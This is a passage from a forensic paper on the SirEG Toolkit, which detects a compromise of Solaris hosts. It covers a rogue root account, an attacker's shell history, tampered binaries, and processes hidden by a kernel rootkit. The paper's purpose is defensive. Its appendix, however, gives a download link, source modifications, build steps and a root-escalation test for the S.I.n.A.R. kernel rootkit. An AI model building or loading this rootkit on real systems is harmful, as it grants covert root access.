After having checked for open ports, an analyst might want to take a closer look at the

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users and their activities on the system. Referring back to Screen Shot 20, an extract from 
/etc/passwd and /etc/group can be seen. Users whose \textit{UID}=0 are highlighted in yellow by 
SirEG. The analyst would note right away that there is more than one root user on that 
system: user \textit{lp} also has a \textit{UID}=0. This should raise a red flag immediately. Clicking on that 
user, the analyst would get further details, as shown by Screen Shot 34:

![Detailed report on user lp](image)

The history of logins for that user can also be examined, including where the user 
logged from (Screen Shot 35):

François Bégin
The SirEG Toolkit

**Login sources for lp**

357 : edtosim02.telus.sec

**Logins by lp**

<table>
<thead>
<tr>
<th>User</th>
<th>Source</th>
<th>Time</th>
<th>Event</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>lp</td>
<td>pts/5</td>
<td>Mon Jan 19 11:26</td>
<td>still logged in</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>sshd</td>
<td>Mon Jan 19 11:26 - 11:27</td>
<td>(00:01)</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>pts/3</td>
<td>Mon Jan 19 11:22</td>
<td>still logged in</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>sshd</td>
<td>Mon Jan 19 11:22 - 11:25</td>
<td>(00:03)</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>pts/4</td>
<td>Mon Jan 19 11:13</td>
<td>down</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>sshd</td>
<td>Mon Jan 19 11:13</td>
<td>down</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>pts/2</td>
<td>Mon Jan 19 11:12</td>
<td>down</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>sshd</td>
<td>Mon Jan 19 11:12 - 11:13</td>
<td>(00:00)</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>pts/5</td>
<td>Mon Jan 19 11:04</td>
<td>down</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>sshd</td>
<td>Mon Jan 19 11:04</td>
<td>down</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>pts/4</td>
<td>Mon Jan 19 11:03</td>
<td>down</td>
<td>edtosim02.telus.sec</td>
</tr>
<tr>
<td>lp</td>
<td>sshd</td>
<td>Mon Jan 19 11:03 - 11:04</td>
<td>(00:00)</td>
<td>edtosim02.telus.sec</td>
</tr>
</tbody>
</table>

*Screen Shot 35 Logins for user lp*

The `/p` account is a system account and should only be used to administer printers.

The simple fact that someone is logging in as that user and that this user has privileges equivalent to root are sufficient in themselves to declare that the host has been compromised.

If the malicious hacker is careless or does not feel like he needs to cover his tracks, his actions on the host may have been logged. To verify this, the analyst would look at `.history` or `.bash_history` under the Detailed report on user lp, as shown in Screen Shot 36:

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The SirEG Toolkit

```bash
-- lp .bash_history file
exit
ls
vi evilscript.sh
mv evilscript.sh hackthebox.sh
ls
chmod 0755 hackthebox.sh
ls
cd ~fbegin1/
ls
mv.sinar ~lp/
ls
mv /usr/local/bin/nc .
ls
clear
uptime
sync
uname -a
reboot
history
modload.sinar
ls
ls -la
clear
root *
rm nc
cp /usr/local/bin/actact nc
ls -l
modload ./sinar
tail /var/adm/messages
clear
cat /etc/passwd
useradd -u 102 jsmith1 -g 1 -d /export/home/jsmith1 -m -s /bin/bash jsmith1
useradd -u 102 -g 1 -d /export/home/jsmith1 -m -s /bin/bash jsmith1
passwd jsmith1
```

_Screen Shot 36 History report for user lp_

The analyst would quickly discover more evidence: The _lp_ user rebooted the server (_reboot_), loaded some sort of kernel module (_modload.sinar_), and even added a new user to the server (_useradd -u102 jsmith1 …)._
6.5 Finding tampered binaries

Malicious hackers sometimes tamper with the binaries found on a system to ensure they can regain control or gather information from unsuspecting users. The analyst should therefore take a closer look at the system binaries. Referring back to Screen Shot 23, he can see that the SirEG Toolkit has caught two such binaries in its Solaris Fingerprint Report: /usr/bin/pwd and /usr/bin/vncviewer. Neither of these has passed the check against the Solaris Fingerprint Database.

![Screen Shot 37 Two binaries flagged by the Solaris fingerprint database](image)

This means that the binaries found on the host do not match any binaries ever released by Sun. This includes not only original binaries but also all patched binaries. In the case of vncviewer, this is a remote client tool used to connect to other systems, so it is possible that it was installed by the administrator of the host for a legitimate purpose. But vncviewer and its server counterpart (vncserver) are also common tools used by malicious hackers. This needs to be investigated further.

Of more immediate concern is the unrecognized /usr/bin/pwd binary on that host.
Unless the administrator of that host re-compiled some key system tools (perhaps preferring GNU tools to the Solaris ones), this definitely looks like a compromise. This should also reinforce the need to run `SirEG_Gather_Data.sh` in its trusted environment, using binaries we know are legitimate.

### 6.6 Unlinked files

Referring to Screen Shot 28, the analyst can see that nothing turned up in the **Unlinked Files** section of the **Interesting Files Report**. This result is surprising since the same test on a Solaris x86 system revealed the `hackthebox.sh` script that the malicious hacker tried to hide:

```
# /usr/local/bin/lsof -l
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF LINK NAME
svc.conf 9 root 6u  VREG 274,1    1048 0 403105197 /etc/svc/volatile (swap)
svc.conf 9 root 38u  VREG 274,1    1048 0 403105197 /etc/svc/volatile (swap)
tail    1109 root 0r  VREG 85,3    89598 0 396 /var /*dev/md/dsk/d3*/
bash    10445 tb09999 255r  VREG 85,3    89598 0 396 /var /*dev/md/dsk/d3*/
bash    13451 root 255r  VREG 85,3    80 0 420 /var /*dev/md/dsk/d3*/
hackthebo 13451 root 255r  VREG 85,3    42 0 4211 /var /*dev/md/dsk/d3*/
```

*Screen Shot 38 Using lsof to show unlinked files – result on x86 system*

It can only be surmised that the version of `lsof` compiled on the sparc machine did not get all the hooks it needed to be able to list these files. Still, this remains a valid section of the **Interesting Files Report**, at least on the x86 platform. Armed with the PID of the process (PID=13451) in question, the analyst could get to the detailed report for the process and track down its provenance.
6.7. Rooting out S.I.n.A.R.

Now let us see if our analyst could root out S.I.n.A.R. First, let us reiterate that this particular compromise is in a class of its own: it consists of a well hidden kernel module that allows a user to escalate his privileges to root by typing the command "./sinarrk", and the escalated shell obtained is invisible to the ps command. How can the SirEG Toolkit help identify this breach? The answer lies within the Solaris kernel itself as a data source and in using some of Batchev’s techniques from his paper FORENSICS FUSION or Sushi & Gorgonzolla (2007).

To safely investigate the kernel of a live system, SirEG_Gather_Data.sh incorporates certain kernel debugger commands. The kernel debugger command (mdb) itself is run with the -k option to ensure that the kernel is examined in read-only mode. Specifically, here are two key commands:

```plaintext
echo "::ps -f" | mdb -k
echo "::modinfo" | mdb -k
```

The first one returns the processes as seen by the kernel, while the second returns a list of modules. The problem facing our analyst boils down to two specific questions:

Can the S.I.n.A.R. module be found by interrogating the kernel directly?
The SirEG Toolkit

Can evidence of a user having escalated his privileges with *S.I.n.A.R.* be seen?

The answer to the first question is no, but fortunately it is yes for the second one.

Under the report called **MDB Commands**, *SirEG_Analyze_Data.sh* compares kernel modules as shown by *modinfo* to the kernel modules reported by *echo* “::modinfo” / *mdb -k* and highlights any discrepancies.

As shown in Screen Shot 25, this is hit-and-miss. *cl_bootstrap*, *swapgeneric* and *lbl_edition* are system modules that do not show up by running the *modinfo* command as root on the system. Parsing through the whole list, *S.I.n.A.R.* is nowhere to be seen. But *SirEG_Analyze_Data.sh* also reports on discrepancies between the regular *ps -ef* command and its kernel debugger counterpart, *echo* “::ps -f” / *mdb -k*. See Screen Shot 39:

```
<table>
<thead>
<tr>
<th>PID</th>
<th>Username</th>
<th>Group</th>
<th>Command</th>
<th>PID</th>
<th>Username</th>
<th>Group</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>2256</td>
<td></td>
<td></td>
<td></td>
<td>2254</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2262</td>
<td></td>
<td></td>
<td></td>
<td>2256</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2262</td>
<td></td>
<td></td>
<td></td>
<td>2254</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2262</td>
<td></td>
<td></td>
<td></td>
<td>102</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2867</td>
<td></td>
<td></td>
<td></td>
<td>335</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2870</td>
<td></td>
<td></td>
<td></td>
<td>2867</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2870</td>
<td></td>
<td></td>
<td></td>
<td>2870</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2867</td>
<td></td>
<td></td>
<td></td>
<td>335</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2870</td>
<td></td>
<td></td>
<td></td>
<td>2867</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```

*Screen Shot 39 Tracking down root privilege shell started by ./sinarrk*

From this report, an analyst could quickly determine that there is a process known as *./sinarrk* with a *PID=2262* that is invisible to the *ps -ef* command yet exists in the kernel. If he

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tries to follow the hyperlink to $PID=2262$, he gets nowhere, as show by Screen Shot 40:

![Screen Shot 40 The invisible process with PID=2262]

But he can get a detailed report on its parent process ($PPID=2256$) and find user $j smith1$ logged in with a bash shell via an ssh session. With overwhelming evidence pointing to a compromise, it is time for the analyst to inform upper management, pull the plug on the host, and call in the forensics team.

7. **Summary**

This paper introduced the SirEG Toolkit as a tool that security analysts can use to investigate a Solaris host that may have been compromised. The three main functions of the Toolkit were demonstrated:
The SirEG Toolkit

1. Building other toolkits (SirEG_Build_Toolkit.sh)
2. Gathering the data (SirEG_Gather_Data.sh)
3. Analyzing the data (SirEG_Analyze_Data.sh)

The commands used to gather useful information on a live system were listed as well as how to run them in a self-contained trusted environment. The paper then delved deeper into the toolkit, showing how it is installed and used in the field. Finally, a demonstration was given of how the reports it produces can be used by an analyst to ascertain security breaches on a fictitious host.

The SirEG Toolkit purposely shies away from trying to quantify the various tell-tale signs of security breaches, which so many commercial tools do. On its own, the toolkit is incapable of ascertaining that a compromise has taken place. The reports it provides must therefore be interpreted by a skilled security analyst.

The SirEG Toolkit presented in this paper has been tested on Solaris 10 (both x86 andsparc). It should be noted that while the current version can capture some useful information in Solaris containers, the full analysis provided by the processing script is geared towards global zones.

The SirEG Toolkit will be hosted at http://sireg.franky.ca for the foreseeable future. My
The SirEG Toolkit

hope is that it will find a place among other tools used by security personnel who need to
investigate potential incidents on Solaris hosts, and that users of the toolkit will provide
feedback that will lead to various enhancements. Plans are being made to re-write
SirEG_Analyze_Data.sh in PHP with a MySQL backend so that reports can be produced
more efficiently.
8. Appendix A - Compilation notes

When compiling software on Solaris, two choices exist: you can use the GNU compiler (gcc) or Sun Studio (cc). This appendix covers how to compile lsof, hashdeep and S.I.n.A.R. using Sun Studio 12.

8.1 Compiling lsof

You can compile lsof without root privileges but you will need to be root to test the tool.

Get the latest source for lsof from http://freshmeat.net/projects/lsof/ and verify its signature using the author’s public gpg key. The example below makes use of GnuPG:

Import the GPG key of the author of lsof (Victor Abell):

```
$ gpg --search-keys abe@purdue.edu
```

```
gpg: WARNING: using insecure memory!
gpg: please see http://www.gnupg.org/faq.html for more information
gpg: searching for "abe@purdue.edu" from hkp server keys.gnupg.net
(1)     Victor A. Abell abe@purdue.edu
Victor A. Abell abe@cc.purdue.edu
1024 bit RSA key 40BD3D55, created: 1994-11-03
Keys 1-1 of 1 for "abe@purdue.edu".
```

```
Enter number(s), N)ext, or Q)uit > 1
```

```
gpg: requesting key 40BD3D55 from hkp server keys.gnupg.net
```

```
gpg: /export/home/fbegin1/.gnupg/trustdb.gpg: trustdb created
```

```
gpg: key 40BD3D55: public key "Victor A. Abell <abe@purdue.edu>" imported
```

```
gpg: no ultimately trusted keys found
```

```
gpg: Total number processed: 1
```

```
gpg: imported: 1  (RSA: 1)
```

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Verify the signature of the package you downloaded:

```
$ gpg --verify lsof_4.81_src.tar.sig
```

```
gpg: WARNING: using insecure memory!
gpg: please see http://www.gnupg.org/faq.html for more information
```

```
gpg: Signature made Wed Oct 22 08:36:15 2008 MDT using RSA key ID 40BD3D55
```

```
gpg: Good signature from "Victor A. Abell <abe@purdue.edu>"
```

```
gpg:               aka "Victor A. Abell <abe@cc.purdue.edu>"
```

```
gpg: WARNING: This key is not certified with a trusted signature
```

```
gpg:        There is no indication that the signature belongs to the owner.
```

```
Primary key fingerprint: 10 16 6B 78 9E 18 B9 A7  AB 63 50 91 58 26 16 E9
```

Once you verify that what you downloaded matches the author’s key, untar the source code and run `./Configure`. Choose your options based on your needs (zfs support, etc.).

```
$ tar xvf lsof_4.81_src.tar
$ cd ./lsof_4.81_src
$ ./Configure solariscc
```

Edit the `Makefile` and replace `-xarch=v9` (deprecated) with `-m64`. Then run `gmake`.

```
$ /usr/sfw/bin/gmake
```

The `lsof` binary will be found in the directory where you ran `./Configure`

```
$ file ./lsof
./lsof: ELF 64-bit MSB executable SPARCV9 Version 1, dynamically linked, not stripped
```

For `lsof` to work correctly in the SirEG Toolkit, it must be able to list information for open ports. Run the following as root to test that your binary works correctly:

---

François Bégin
# ./lsof -i TCP:22

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE SIZE/OFF NODE NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>sshd</td>
<td>282</td>
<td>root</td>
<td>3u</td>
<td>IPv6</td>
<td>0x600109988c0 0t0 TCP *:ssh (LISTEN)</td>
</tr>
<tr>
<td>sshd</td>
<td>550</td>
<td>root</td>
<td>6u</td>
<td>IPv6</td>
<td>0x60010998f80 0t49122 TCP defiant:ssh-&gt;edtosim02.telus.sec:42367 (ESTABLISHED)</td>
</tr>
<tr>
<td>sshd</td>
<td>553</td>
<td>fbegin1</td>
<td>4u</td>
<td>IPv6</td>
<td>0x60010998f80 0t49122 TCP defiant:ssh-&gt;edtosim02.telus.sec:42367 (ESTABLISHED)</td>
</tr>
</tbody>
</table>

You want to avoid using a binary that would produce the following types of output:

# ./lsof -i TCP:22
{ no output }

# ./lsof | grep TCP

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE SIZE/OFF NODE NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>sshd</td>
<td>282</td>
<td>root</td>
<td>3u</td>
<td>IPv6</td>
<td>TCP no TCP/UDP/IP information available</td>
</tr>
<tr>
<td>sshd</td>
<td>550</td>
<td>root</td>
<td>6u</td>
<td>IPv6</td>
<td>TCP no TCP/UDP/IP information available</td>
</tr>
</tbody>
</table>

### 8.2 Compiling hashdeep (MD5deep)

You can compile and test hashdeep without the need for root privileges. First, get the latest source for MD5deep from [http://MD5deep.sourceforge.net/](http://MD5deep.sourceforge.net/) and check its SHA256 cryptographic hash. You can use the digest tool for this

```
$ digest -a sha256 MD5deep-3.1.tar.gz
fdcfaa469923248b0412b4a1afab39f5c26ea778edaab51af2d97eed46bcf2af
```

Compare the checksum to what is posted on the download page. Once you have verified the hash, uncompress and untar the source code then run `./configure`.
$ env CPPFLAGS="-I/opt/SUNWspro/prod/include/CC/Cstd/rw/ -I/opt/SUNWspro/prod/include/CC/Cstd/ -I/opt/SUNWspro/prod/include/CC/std/" CFLAGS="-m64" ./configure

Note the added *includes* with *CPPFLAGS* that were necessary for the compiler to find certain header files (namely *math.h*, *stdcomp.h* and *cmath*). Note also the *-m64* compiler switch to force the compilation of a 64 bit binary.

You can now run *gmake*.

$ /usr/sfw/bin/gmake

The *hashdeep* binary will be found in */hashdeep/hashdeep*

$ file hashdeep/hashdeep

*hashdeep/hashdeep*: ELF 64-bit MSB executable SPARCV9 Version 1, dynamically linked, not stripped

We can test it:

[fbegin1@defiant]:/export/home/fbegin1$ ./hashdeep /usr/bin/ac*

%%%% HASHDEEP-1.0
%%%% size,md5,sha256,filename
## Invoked from: /export/home/fbegin1
## $ ./hashdeep /usr/bin/acroread /usr/bin/activation-client
92969,f788d7691cec2095c8fbeae4bca788a9,e055c3703fe3f415c701a295c5fec9b2563c6fd418691642c a0beb1282480b9c, /usr/bin/acroread
12672,34076734486a477814d2e36263d2bdca,891d46bffd23b079a9ac3439b3c2f59f9b665111f7203598 517fa3e346a22dd3, /usr/bin/activation-client

### 8.3 Compiling S.I.n.A.R.

*S.I.n.A.R.* can be compiled by a regular user but requires root to test. Note that there is
no way to unload the module once loaded, so you will need to reboot the host to get rid of it. Ensure that you run these tests on a suitable development server. The source code can be downloaded from Packet Storm Security

http://packetstormsecurity.org/UNIX/penetration/rootkits/SInAR-0.3.tar.bz2

Untar the source code and go into the src subdirectory

```
[fbegin1@defiant]:/export/home/fbegin1/SInAR-0.3$ cd src/
[fbegin1@defiant]:/export/home/fbegin1/SInAR-0.3/src$ ls
Makefile opcodes.h sinar.c
```

Since the code is a proof of concept, it is not completely usable as-is. A few modifications are required, as described in Spainhower’s paper titled Feasibility Analysis of DTrace for Rootkit Detection (2008). Right after line 165 of the original code, add this line

```
#define RK_EXEC_SHELL "/bin/bash"
```

Here is what that section of code looked like before:

```
#define RK_EXEC_KEY "./sinarrk"
#define RK_EXEC_KEY_LEN 9
```

and how it looks after

```
#define RK_EXEC_KEY "./sinarrk"
#define RK_EXEC_KEY_LEN 9
```
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#define RK_EXEC_SHELL "/bin/bash"

Right after line 184 of the original code, make the following addition/modification

Add:    
Modify:  

Here is what the code looked like before

if(strncmp(RK_EXEC_KEY,sinar_pn.pn_path,RK_EXEC_KEY_LEN) == 0) 
{
    is_gone = 1;
    // give ourselves kernel creds. "yeah man he got kcred" *ahem*
    curproc->p_cred = crdup(kcred);
}
    error = exec_common(fname, argp, envp);
    if(is_gone)

And here is what it looks like after the change

if(strncmp(RK_EXEC_KEY,sinar_pn.pn_path,RK_EXEC_KEY_LEN) == 0) 
{
    is_gone = 1;
    // give ourselves kernel creds. "yeah man he got kcred" *ahem*
    curproc->p_cred = crdup(kcred);
}
    ddi_copyout(RK_EXEC_SHELL,fname,RK_EXEC_KEY_LEN,0);
    error = exec_common(fname, argp, envp, 0);
    if(is_gone)

We are now ready to compile. In this example, we compile on a Solaris 10 (sparc)

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system using Sun Studio 12 and /usr/ccs/bin/make which is part of the SUNWsprot package.

Here is the Makefile:

```bash
CC=cc
CFLAGS= -m64 -D_KERNEL -DSVR4 -DSOL2 -c
LFLAGS= -64 -r
all: sinar
  $(CC) $(CFLAGS) sinar.c -o sinar.o
  ld $(LFLAGS) sinar.o -o sinar

Now we compile

# /usr/ccs/bin/make
cc -m64 -D_KERNEL -DSVR4 -DSOL2 -c sinar.c -o sinar.o
"sinar.c", line 98: warning: improper pointer/integer combination: op "="
"sinar.c", line 261: warning: improper pointer/integer combination: op "="
"sinar.c", line 272: warning: improper pointer/integer combination: op "="
"sinar.c", line 275: warning: improper pointer/integer combination: op "="
ld -64 -r sinar.o -o sinar

The resulting file is a loadable kernel module

# file sinar
sinar:         ELF 64-bit MSB relocatable SPARCv9 Version 1

We can now test it

# modload sinar
```

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# tail /var/adm/messages
Feb 23 08:40:14 defiant <unknown>: [ID 487132 kern.notice] NOTICE: SInAR Unregistering from DTrace FBT provider

Log in as a regular user and see if you escalate your privileges

[fbegin1@defiant]:/export/home/fbegin1$ id
uid=100(fbegin1) gid=1(other)
[fbegin1@defiant]:/export/home/fbegin1$ ./sinarrk
sinarrk-3.00# id
uid=0(root) gid=0(root)
sinarrk-3.00#
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### Upcoming SANS Penetration Testing

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